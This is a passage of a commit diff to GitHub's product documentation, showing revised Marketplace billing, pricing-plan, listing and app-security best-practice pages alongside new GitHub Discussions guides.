{% endnote %} - Customers must be able to see that they have a free plan in the billing, profile, or account settings section of the app. - When a customer cancels your app, you must follow the flow for [cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/). ### Billing requirements for paid apps #### Paid apps Your app does not need to handle payments but does need to use {% data variables.product.prodname_marketplace %} purchase events to manage new purchases, upgrades, downgrades, cancellations, and free trials. For information about how integrate these events into your app, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." To offer your app as a paid service, you'll need to meet these requirements to list your app on {% data variables.product.prodname_marketplace %}: Using GitHub's billing API allows customers to purchase an app without leaving GitHub and to pay for the service with the payment method already attached to their {% data variables.product.product_name %} account. - To sell your app in {% data variables.product.prodname_marketplace %}, it must use GitHub's billing system. Your app does not need to handle payments but does need to use "[{% data variables.product.prodname_marketplace %} purchase events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)" to manage new purchases, upgrades, downgrades, cancellations, and free trials. See "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)" to learn about how to integrate these events into your app. Using GitHub's billing system allows customers to purchase an app without leaving GitHub and pay for the service with the payment method already attached to their {% data variables.product.product_name %} account. - Apps must support both monthly and annual billing for paid subscriptions purchases. - Listings may offer any combination of free and paid plans. Free plans are optional but encouraged. For more information, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." {% data reusables.marketplace.marketplace-billing-ui-requirements %} 60 content/developers/github-marketplace/security-best-practices-for-apps.md @@ -0,0 +1,60 @@ --- title: Security best practices for apps intro: 'Guidelines for preparing a secure app to share on {% data variables.product.prodname_marketplace %}.' redirect_from: - /apps/marketplace/getting-started/security-review-process/ - /marketplace/getting-started/security-review-process - /developers/github-marketplace/security-review-process-for-submitted-apps shortTitle: Security best practice versions: free-pro-team: '*' --- If you follow these best practices it will help you to provide a secure user experience. ### Authorization, authentication, and access control We recommend creating a GitHub App rather than an OAuth App. {% data reusables.marketplace.github_apps_preferred %}. See "[Differences between GitHub Apps and OAuth Apps](/apps/differences-between-apps/)" for more details. - Apps should use the principle of least privilege and should only request the OAuth scopes and GitHub App permissions that the app needs to perform its intended functionality. For more information, see [Principle of least privilege](https://en.wikipedia.org/wiki/Principle_of_least_privilege) in Wikipedia. - Apps should provide customers with a way to delete their account, without having to email or call a support person. - Apps should not share tokens between different implementations of the app. For example, a desktop app should have a separate token from a web-based app. Individual tokens allow each app to request the access needed for GitHub resources separately. - Design your app with different user roles, depending on the functionality needed by each type of user. For example, a standard user should not have access to admin functionality, and billing managers might not need push access to repository code. - Apps should not share service accounts such as email or database services to manage your SaaS service. - All services used in your app should have unique login and password credentials. - Admin privilege access to the production hosting infrastructure should only be given to engineers and employees with administrative duties. - Apps should not use personal access tokens to authenticate and should authenticate as an [OAuth App](/apps/about-apps/#about-oauth-apps) or a [GitHub App](/apps/about-apps/#about-github-apps): - OAuth Apps should authenticate using an [OAuth token](/apps/building-oauth-apps/authorizing-oauth-apps/). - GitHub Apps should authenticate using either a [JSON Web Token (JWT)](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app), [OAuth token](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/), or [installation access token](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation). ### Data protection - Apps should encrypt data transferred over the public internet using HTTPS, with a valid TLS certificate, or SSH for Git. - Apps should store client ID and client secret keys securely. We recommend storing them as [environmental variables](http://en.wikipedia.org/wiki/Environment_variable#Getting_and_setting_environment_variables). - Apps should delete all GitHub user data within 30 days of receiving a request from the user, or within 30 days of the end of the user's legal relationship with GitHub. - Apps should not require the user to provide their GitHub password. - Apps should encrypt tokens, client IDs, and client secrets. ### Logging and monitoring Apps should have logging and monitoring capabilities. App logs should be retained for at least 30 days and archived for at least one year. A security log should include: - Authentication and authorization events - Service configuration changes - Object reads and writes - All user and group permission changes - Elevation of role to admin - Consistent timestamping for each event - Source users, IP addresses, and/or hostnames for all logged actions ### Incident response workflow To provide a secure experience for users, you should have a clear incident response plan in place before listing your app. We recommend having a security and operations incident response team in your company rather than using a third-party vendor. You should have the capability to notify {% data variables.product.product_name %} within 24 hours of a confirmed incident. For an example of an incident response workflow, see the "Data Breach Response Policy" on the [SANS Institute website](https://www.sans.org/information-security-policy/). A short document with clear steps to take in the event of an incident is more valuable than a lengthy policy template. ### Vulnerability management and patching workflow You should conduct regular vulnerability scans of production infrastructure. You should triage the results of vulnerability scans and define a period of time in which you agree to remediate the vulnerability. If you are not ready to set up a full vulnerability management program, it's useful to start by creating a patching process. For guidance in creating a patch management policy, see this TechRepublic article "[Establish a patch management policy](https://www.techrepublic.com/blog/it-security/establish-a-patch-management-policy-87756/)." 94 ...ent/developers/github-marketplace/security-review-process-for-submitted-apps.md This file was deleted. 53 content/developers/github-marketplace/setting-pricing-plans-for-your-listing.md @@ -1,6 +1,6 @@ --- title: Setting pricing plans for your listing intro: 'When [listing your app on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/), you can choose to provide your app as a free service or sell your app. If you plan to sell your app, you can create different pricing plans for different feature tiers.' intro: 'When you list your app on {% data variables.product.prodname_marketplace %}, you can choose to provide your app as a free service or sell your app. If you plan to sell your app, you can create different pricing plans for different feature tiers.' redirect_from: - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan/ - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan/ @@ -17,57 +17,52 @@ versions: free-pro-team: '*' --- ### About setting pricing plans If you want to sell an app on {% data variables.product.prodname_marketplace %}, you need to request verification when you publish the listing for your app. During the verification process, an onboarding expert checks the organization's identity and security settings. The onboarding expert will also take the organization through financial onboarding. For more information, see: "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)." ### Creating pricing plans To learn about the types of pricing plans that {% data variables.product.prodname_marketplace %} offers, see "[{% data variables.product.prodname_marketplace %} Pricing Plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." You'll also find helpful billing guidelines in "[Selling your app](/marketplace/selling-your-app/)." Pricing plans can be in the draft or published state. If you haven't submitted your {% data variables.product.prodname_marketplace %} listing for approval, a published listing will function the same way as draft listings until your app is approved and listed on {% data variables.product.prodname_marketplace %}. Draft listings allow you to create and save new pricing plans without making them available on your {% data variables.product.prodname_marketplace %} listing page. Once you publish the pricing plan, it's available for customers to purchase immediately. You can publish up to 10 pricing plans. {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." To create a pricing plan for your {% data variables.product.prodname_marketplace %} listing, click **Plans and pricing** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). If you haven't created a {% data variables.product.prodname_marketplace %} listing yet, read "[Creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)" to learn how. When you click **New draft plan**, you'll see a form that allows you to customize your pricing plan. You'll need to configure the following fields to create a pricing plan: {% data variables.product.prodname_marketplace %} offers several different types of pricing plan. For detailed information, see "[Pricing plans for {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)." #### Plan name ### About saving pricing plans Your pricing plan's name will appear on your {% data variables.product.prodname_marketplace %} app's landing page. You can customize the name of your pricing plan to align to the plan's resources, the size of the company that will use the plan, or anything you'd like. You can save pricing plans in a draft or published state. If you haven't submitted your {% data variables.product.prodname_marketplace %} listing for approval, a published plan will function in the same way as a draft plan until your listing is approved and shown on {% data variables.product.prodname_marketplace %}. Draft plans allow you to create and save new pricing plans without making them available on your {% data variables.product.prodname_marketplace %} listing page. Once you publish a pricing plan on a published listing, it's available for customers to purchase immediately. You can publish up to 10 pricing plans. #### Pricing models For guidelines on billing customers, see "[Billing customers](/developers/github-marketplace/billing-customers)." ##### Free plans {% data reusables.marketplace.free-apps-encouraged %} A free plan still requires you to handle [new purchase](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/) and [cancellation](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/) billing flows. See "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)" for more details. ##### Flat-rate plans ### Creating pricing plans Flat-rate pricing plans allow you to offer your service to customers for a flat-rate fee. {% data reusables.marketplace.marketplace-pricing-free-trials %} To create a pricing plan for your {% data variables.product.prodname_marketplace %} listing, click **Plans and pricing** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). For more information, see "[Creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)." You must set a price for both monthly and yearly subscriptions in U.S. Dollars for flat-rate plans. When you click **New draft plan**, you'll see a form that allows you to customize your pricing plan. You'll need to configure the following fields to create a pricing plan: ##### Per-unit plans - **Plan name** - Your pricing plan's name will appear on your {% data variables.product.prodname_marketplace %} app's landing page. You can customize the name of your pricing plan to align with the plan's resources, the size of the company that will use the plan, or anything you'd like. Per-unit pricing allows you to offer your app in units. For example, a unit can be a person, seat, or user. You'll need to provide a name for the unit and set a price for both monthly and yearly subscriptions, in U.S. Dollars. - **Pricing models** - There are three types of pricing plan: free, flat-rate, and per-unit. All plans require you to process new purchase and cancellation events from the marketplace API. In addition, for paid plans: #### Available for - You must set a price for both monthly and yearly subscriptions in US dollars. - Your app must process plan change events. - You must request verification to publish a listing with a paid plan. - {% data reusables.marketplace.marketplace-pricing-free-trials %} {% data variables.product.prodname_marketplace %} pricing plans can apply to **Personal and organization accounts**, **Personal accounts only**, or **Organization accounts only**. For example, if your pricing plan is per-unit and provides multiple seats, you would select **Organization accounts only** because there is no way to assign seats to people in an organization from a personal account. For detailed information, see "[Pricing plans for {% data variables.product.prodname_marketplace %} apps](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)" and "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." #### Short description - **Available for** - {% data variables.product.prodname_marketplace %} pricing plans can apply to **Personal and organization accounts**, **Personal accounts only**, or **Organization accounts only**. For example, if your pricing plan is per-unit and provides multiple seats, you would select **Organization accounts only** because there is no way to assign seats to people in an organization from a personal account. Write a brief summary of the details of the pricing plan. The description might include the type of customer the plan is intended for or the resources the plan includes. - **Short description** - Write a brief summary of the details of the pricing plan. The description might include the type of customer the plan is intended for or the resources the plan includes. #### Bullets - **Bullets** - You can write up to four bullets that include more details about your pricing plan. The bullets might include the use cases of your app or list more detailed information about the resources or features included in the plan. You can write up to four bullets that include more details about your pricing plan. The bullets might include the use cases of your app or list more detailed information about the resources or features included in the plan. {% data reusables.marketplace.free-plan-note %} ### Changing a {% data variables.product.prodname_marketplace %} listing's pricing plan If a pricing plan for your {% data variables.product.prodname_marketplace %} plan is no longer needed or if you need to adjust pricing details, you can remove it. If a pricing plan for your {% data variables.product.prodname_marketplace %} listing is no longer needed, or if you need to adjust pricing details, you can remove it.  Once you publish a pricing plan for an app already listed in the {% data variables.product.prodname_marketplace %}, you can't make changes to the plan. Instead, you'll need to remove the pricing plan. Customers who already purchased the removed pricing plan will continue to use it until they opt out and move onto a new pricing plan. For more on pricing plans, see "[{% data variables.product.prodname_marketplace %} pricing plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." Once you publish a pricing plan for an app that is already listed in {% data variables.product.prodname_marketplace %}, you can't make changes to the plan. Instead, you'll need to remove the pricing plan and create a new plan. Customers who already purchased the removed pricing plan will continue to use it until they opt out and move onto a new pricing plan. For more on pricing plans, see "[{% data variables.product.prodname_marketplace %} pricing plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." Once you remove a pricing plan, users won't be able to purchase your app using that plan. Existing users on the removed pricing plan will continue to stay on the plan until they cancel their plan subscription. 37 content/developers/github-marketplace/submitting-your-listing-for-publication.md @@ -0,0 +1,37 @@ --- title: Submitting your listing for publication intro: 'You can submit your listing for the {% data variables.product.prodname_dotcom %} community to use.' redirect_from: - /marketplace/listing-on-github-marketplace/submitting-your-listing-for-review - /developers/github-marketplace/submitting-your-listing-for-review versions: free-pro-team: '*' --- Once you've completed the listing for your app, you'll see two buttons that allow you to request publication of the listing with or without verification. The **Request** button for "Publish without verification" is disabled if you have published any paid pricing plans in the listing.  {% data reusables.marketplace.launch-with-free %} After you submit your listing for review, an onboarding expert will reach out to you with additional information. For an overview of the process for creating and submitting a listing, see "[About {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/about-github-marketplace#publishing-an-app-to-github-marketplace)." ### Prerequisites for publishing with verification Before you request verification of your listing, you'll need to integrate the {% data variables.product.prodname_marketplace %} billing flows and webhook into your app. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If you've met the requirements for listing and you've integrated with the {% data variables.product.prodname_marketplace %} API, go ahead and submit your listing. For more information, see "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)." {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Transferring an app to an organization before you submit](#transferring-an-app-to-an-organization-before-you-submit)" below. ### Transferring an app to an organization before you submit You cannot sell an app that's owned by a user account. You need to transfer the app to an organization that is already a verified creator, or that can request verification for a listing for the app. For details, see: 1. "[Creating an organization from scratch](/github/setting-up-and-managing-organizations-and-teams/creating-a-new-organization-from-scratch)" 1. "[Transferring ownership of a GitHub App](/developers/apps/transferring-ownership-of-a-github-app)" or "[Transferring ownership of an OAuth App](/developers/apps/transferring-ownership-of-an-oauth-app)" 22 content/developers/github-marketplace/submitting-your-listing-for-review.md This file was deleted. 4 content/developers/github-marketplace/testing-your-app.md @@ -1,6 +1,6 @@ --- title: Testing your app intro: 'GitHub recommends testing your app with APIs and webhooks before submitting your listing to {% data variables.product.prodname_marketplace %} so you can provide an ideal experience for customers. Before the {% data variables.product.prodname_marketplace %} onboarding team approves your app, it must adequately handle the [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows).' intro: 'GitHub recommends testing your app with APIs and webhooks before submitting your listing to {% data variables.product.prodname_marketplace %} so you can provide an ideal experience for customers. Before an onboarding expert approves your app, it must adequately handle the billing flows.' redirect_from: - /apps/marketplace/testing-apps-apis-and-webhooks/ - /apps/marketplace/integrating-with-the-github-marketplace-api/testing-github-marketplace-apps/ @@ -13,7 +13,7 @@ versions: ### Testing apps You can use a [draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/) to simulate each of the [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows). A listing in the draft state means that it has not been submitted for approval. Any purchases you make using a draft {% data variables.product.prodname_marketplace %} listing will _not_ create real transactions, and GitHub will not charge your credit card. You can use a draft {% data variables.product.prodname_marketplace %} listing to simulate each of the billing flows. A listing in the draft state means that it has not been submitted for approval. Any purchases you make using a draft {% data variables.product.prodname_marketplace %} listing will _not_ create real transactions, and GitHub will not charge your credit card. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)" and "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." #### Using a development app with a draft listing to test changes 2 .../developers/github-marketplace/webhook-events-for-the-github-marketplace-api.md @@ -1,6 +1,6 @@ --- title: Webhook events for the GitHub Marketplace API intro: 'A {% data variables.product.prodname_marketplace %} app receives information about changes to a user''s plan from the Marketplace purchase event webhook. A Marketplace purchase event is triggered when a user purchases, cancels, or changes their payment plan. For details on how to respond to each of these types of events, see "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)."' intro: 'A {% data variables.product.prodname_marketplace %} app receives information about changes to a user''s plan from the Marketplace purchase event webhook. A Marketplace purchase event is triggered when a user purchases, cancels, or changes their payment plan.' redirect_from: - /apps/marketplace/setting-up-github-marketplace-webhooks/about-webhook-payloads-for-a-github-marketplace-listing/ - /apps/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/ 4 content/developers/webhooks-and-events/webhook-events-and-payloads.md @@ -445,7 +445,7 @@ Key | Type | Description #### Webhook payload object {% data reusables.webhooks.installation_properties %} {% data reusables.webhooks.app_desc %} {% data reusables.webhooks.app_always_desc %} {% data reusables.webhooks.sender_desc %} #### Webhook payload example @@ -469,7 +469,7 @@ Key | Type | Description #### Webhook payload object {% data reusables.webhooks.installation_repositories_properties %} {% data reusables.webhooks.app_desc %} {% data reusables.webhooks.app_always_desc %} {% data reusables.webhooks.sender_desc %} #### Webhook payload example 54 ...ssions/collaborating-with-your-community-using-discussions/about-discussions.md @@ -0,0 +1,54 @@ --- title: About discussions intro: Use discussions to ask and answer questions, share information, make announcements, and conduct or participate in a conversation about a project on {% data variables.product.product_name %}. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About discussions With {% data variables.product.prodname_discussions %}, the community for your project can create and participate in conversations within the project's repository. Discussions empower a project's maintainers, contributors, and visitors to gather and accomplish the following goals in a central location, without third-party tools. - Share announcements and information, gather feedback, plan, and make decisions - Ask questions, discuss and answer the questions, and mark the discussions as answered - Foster an inviting atmosphere for visitors and contributors to discuss goals, development, administration, and workflows  You don't need to close a discussion like you close an issue or a pull request. If a repository administrator or project maintainer enables discussions for a repository, anyone who visits the repository can create and participate in discussions for the repository. Repository administrators and project maintainers can manage discussions and discussion categories in a repository, and pin discussions to increase the visibility of the discussion. Moderators and collaborators can mark comments as answers, lock discussions, and convert issues to discussions. For more information, see "[Repository permission levels for an organization](/github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization)." For more information about management of discussions for your repository, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." ### About categories and formats for discussions {% data reusables.discussions.you-can-categorize-discussions %} {% data reusables.discussions.about-categories-and-formats %} {% data reusables.discussions.repository-category-limit %} For discussions with a question/answer format, an individual comment within the discussion can be marked as the discussion's answer. {% data reusables.discussions.github-recognizes-members %} For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)." ### Best practices for discussions As a community member or maintainer, start a discussion to ask a question or discuss information that affects the community. For more information, see "[Collaborating with maintainers using discussions](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions)." Participate in a discussion to ask and answer questions, provide feedback, and engage with the project's community. For more information, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)." You can spotlight discussions that contain important, useful, or exemplary conversations among members in the community. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)." {% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions in your repository](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)." ### Sharing feedback You can share your feedback about {% data variables.product.prodname_discussions %} with {% data variables.product.company_short %}. To join the conversation, see [`github/feedback`](https://github.com/github/feedback/discussions?discussions_q=category%3A%22Discussions+Feedback%22). ### Further reading - "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)" - "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)" - "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications)" - "[Moderating comments and conversations](/github/building-a-strong-community/moderating-comments-and-conversations)" - "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)" 50 ...community-using-discussions/collaborating-with-maintainers-using-discussions.md @@ -0,0 +1,50 @@ --- title: Collaborating with maintainers using discussions shortTitle: Collaborating with maintainers intro: You can contribute to the goals, plans, health, and community for a project on {% data variables.product.product_name %} by communicating with the maintainers of the project in a discussion. permissions: People with read permissions to a repository can start and participate in discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About collaboration with maintainers using discussions {% data reusables.discussions.about-discussions %} If you use or contribute to a project, you can start a discussion to make suggestions and engage with maintainers and community members about your plans, questions, ideas, and feedback. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." {% data reusables.discussions.about-categories-and-formats %} Repository administrators and project maintainers can delete a discussion. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#deleting-a-discussion)." {% data reusables.discussions.github-recognizes-members %} These members appear in a list of the most helpful contributors to the project's discussions. As your project grows, you can grant higher access permissions to active members of your community. For more information, see "[Granting higher permissions to top contributors](/discussions/guides/granting-higher-permissions-to-top-contributors)"  For more information about participation in discussions, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)." ### Prerequisites To collaborate with maintainers using discussions, a repository administrator or project maintainer must enable discussions for the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Starting a discussion {% data reusables.discussions.starting-a-discussion %} ### Filtering the list of discussions You can search for discussions and filter the list of discussions in a repository. For more information, see "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. In the **Search all discussions** field, type a search query. Optionally, to the right of the search field, click a button to further filter the results.  1. In the list of discussions, click the discussion you want to view.  ### Converting an issue to a discussion {% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions in your repository](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion#converting-an-issue-to-a-discussion)." ### Further reading - "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)" - "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)" 14 content/discussions/collaborating-with-your-community-using-discussions/index.md @@ -0,0 +1,14 @@ --- title: Collaborating with your community using discussions shortTitle: Collaborating using discussions intro: Gather and discuss your project with community members and other maintainers. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} {% link_in_list /about-discussions %} {% link_in_list /participating-in-a-discussion %} {% link_in_list /collaborating-with-maintainers-using-discussions %} 31 ...borating-with-your-community-using-discussions/participating-in-a-discussion.md @@ -0,0 +1,31 @@ --- title: Participating in a discussion intro: You can converse with the community and maintainers in a forum within the repository for a project on {% data variables.product.product_name %}. permissions: People with read permissions to a repository can participate in discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About participation in a discussion {% data reusables.discussions.about-discussions %} For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." In addition to starting or viewing a discussion, you can comment in response to the original comment from the author of the discussion. You can also create a comment thread by replying to an individual comment that another community member made within the discussion, and react to comments with emoji. For more information about reactions, see "[About conversations on {% data variables.product.prodname_dotcom %}](/github/collaborating-with-issues-and-pull-requests/about-conversations-on-github#reacting-to-ideas-in-comments)." You can block users and report disruptive content to maintain a safe and pleasant environment for yourself on {% data variables.product.product_name %}. For more information, see "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)." ### Prerequisites Discussions must be enabled for the repository for you to participate in a discussion in the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Creating a discussion {% data reusables.discussions.starting-a-discussion %} ### Marking a comment as an answer Discussion authors and users with the triage role or greater for a repository can mark a comment as the answer to a discussion in the repository. {% data reusables.discussions.marking-a-comment-as-an-answer %} 49 content/discussions/guides/best-practices-for-community-conversations-on-github.md @@ -0,0 +1,49 @@ --- title: Best practices for community conversations on GitHub shortTitle: Best practices for community conversations intro: 'You can use discussions to brainstorm with your team, and eventually move the conversation to a discussion when you are ready to scope out the work.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Community conversations in {% data variables.product.prodname_discussions %} Since {% data variables.product.prodname_discussions %} is an open forum, there is an opportunity to bring non-code collaboration into a project's repository and gather diverse feedback and ideas more quickly. You can help drive a productive conversation by: - Asking pointed questions and follow-up questions to garner specific feedback - Capture a diverse experience and distill it down to main points - Open an issue to take action based on the conversation, where applicable For more information about opening an issue and cross-referencing a discussion, see "[Opening an issue from a comment](/github/managing-your-work-on-github/opening-an-issue-from-a-comment)." ### Learning about conversations on GitHub You can create and participate in discussions, issues, and pull requests, depending on the type of conversation you'd like to have. You can use {% data variables.product.prodname_discussions %} to discuss big picture ideas, brainstorm, and spike out a project's specific details before committing it to an issue, which can then be scoped. Discussions are useful for teams if: - You are in the discovery phase of a project and are still learning which director your team wants to go in - You want to collect feedback from a wider community about a project - You want to keep bug fixes, feature requests, and general conversations separate Issues are useful for discussing specific details of a project such as bug reports and planned improvements. For more information, see "[About issues](/articles/about-issues)." Pull requests allow you to comment directly on proposed changes. For more information, see "[About pull requests](/articles/about-pull-requests)" and "[Commenting on a pull request](/articles/commenting-on-a-pull-request)." {% data reusables.organizations.team-discussions-purpose %} For more information, see "[About team discussions](/articles/about-team-discussions)." ### Following contributing guidelines Before you open a discussion, check to see if the repository has contributing guidelines. The CONTRIBUTING file includes information about how the repository maintainer would like you to contribute ideas to the project. For more information, see "[Setting up your project for healthy contributions](/github/building-a-strong-community/setting-up-your-project-for-healthy-contributions)." ### Next steps To continue learning about {% data variables.product.prodname_discussions %} and quickly create a discussion for your community, see "[Quickstart for {% data variables.product.prodname_discussions %}](/discussions/quickstart)." ### Further reading - "[Setting up your project for healthy contributions](/articles/setting-up-your-project-for-healthy-contributions)" - "[Using templates to encourage useful issues and pull requests](/github/building-a-strong-community/using-templates-to-encourage-useful-issues-and-pull-requests)" - "[Moderating comments and conversations](/articles/moderating-comments-and-conversations)" - "[Writing on {% data variables.product.prodname_dotcom %}](/articles/writing-on-github)" 21 content/discussions/guides/finding-discussions-across-multiple-repositories.md @@ -0,0 +1,21 @@ --- title: Finding discussions across multiple repositories intro: 'You can easily access every discussion you''ve created or participated in across multiple repositories.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Finding discussions 1. Navigate to {% data variables.product.prodname_dotcom_the_website %}. 1. In the top-right corner of {% data variables.product.prodname_dotcom_the_website %}, click your profile photo, then click **Your enterprises**.  1. Toggle between **Created** and **Commented** to see the discussions you've created or participated in. ### Further reading - "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)" - "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)" - "[Managing discussions for your community](/discussions/managing-discussions-for-your-community)" 32 content/discussions/guides/granting-higher-permissions-to-top-contributors.md @@ -0,0 +1,32 @@ --- title: Granting higher permissions to top contributors intro: 'Repository administrators can promote any community member to a moderator and maintainer.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Introduction The most helpful contributors for the past 30 days are highlighted on the {% data variables.product.prodname_discussions %} dashboard, based on how many comments were marked as answers by other community members. Helpful contributors can help drive a healthy community and moderate and guide the community space in addition to maintainers. ### Step 1: Audit your discussions top contributors {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. Compare the list of contributors with their access permissions to see who qualifies to moderate the discussion. ### Step 2: Review permission levels for discussions People with triage permissions for a repository can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." For more information about repository permission levels and {% data variables.product.prodname_discussions %}, see "[Repository permissions levels for an organization](/github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization)." ### Step 3: Change permissions levels for top contributors You can change a contributor's permission levels to give them more access to the tooling they need to moderate GitHub Discussions. To change a person's or team's permission levels, see "[Managing teams and people with access to your repository](/github/administering-a-repository/managing-teams-and-people-with-access-to-your-repository)." ### Step 4: Notify community members of elevated access When you change a collaborators permission level, they will receive a notification for the change. 29 content/discussions/guides/index.md @@ -0,0 +1,29 @@ --- title: Discussions guides shortTitle: Guides intro: 'Discover pathways to get started or learn best practices for participating or monitoring your community''s discussions.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Getting started with discussions {% link_in_list /about-discussions %} {% link_in_list /best-practices-for-community-conversations-on-github %} {% link_in_list /finding-discussions-across-multiple-repositories %} <!-- {% link_in_list /managing-notifications-for-discussions %} --> ### Administering discussions {% link_in_list /granting-higher-permissions-to-top-contributors %} <!--<!-- Commenting out what is only nice to have for discussions release {% link_in_list /updating-your-contributing-guidelines-with-discussions %} --> <!-- ### Discussions and open source projects {% link_in_list /collaborating-on-open-source-projects-in-discussions %} {% link_in_list /welcoming-contributions-to-your-communitys-discussions %} --> 55 content/discussions/index.md @@ -0,0 +1,55 @@ --- title: GitHub Discussions Documentation beta_product: true shortTitle: GitHub Discussions intro: '{% data variables.product.prodname_discussions %} is a collaborative communication forum for the community around an open source project. Community members can ask and answer questions, share updates, have open-ended conversations, and follow along on decisions affecting the community''s way of working.' introLinks: quickstart: /discussions/quickstart featuredLinks: guides: - /discussions/collaborating-with-your-community-using-discussions/about-discussions - /discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion - /discussions/managing-discussions-for-your-community/moderating-discussions gettingStarted: - /discussions/quickstart guideCards: - /discussions/collaborating-with-your-community-using-discussions/about-discussions - /discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion - 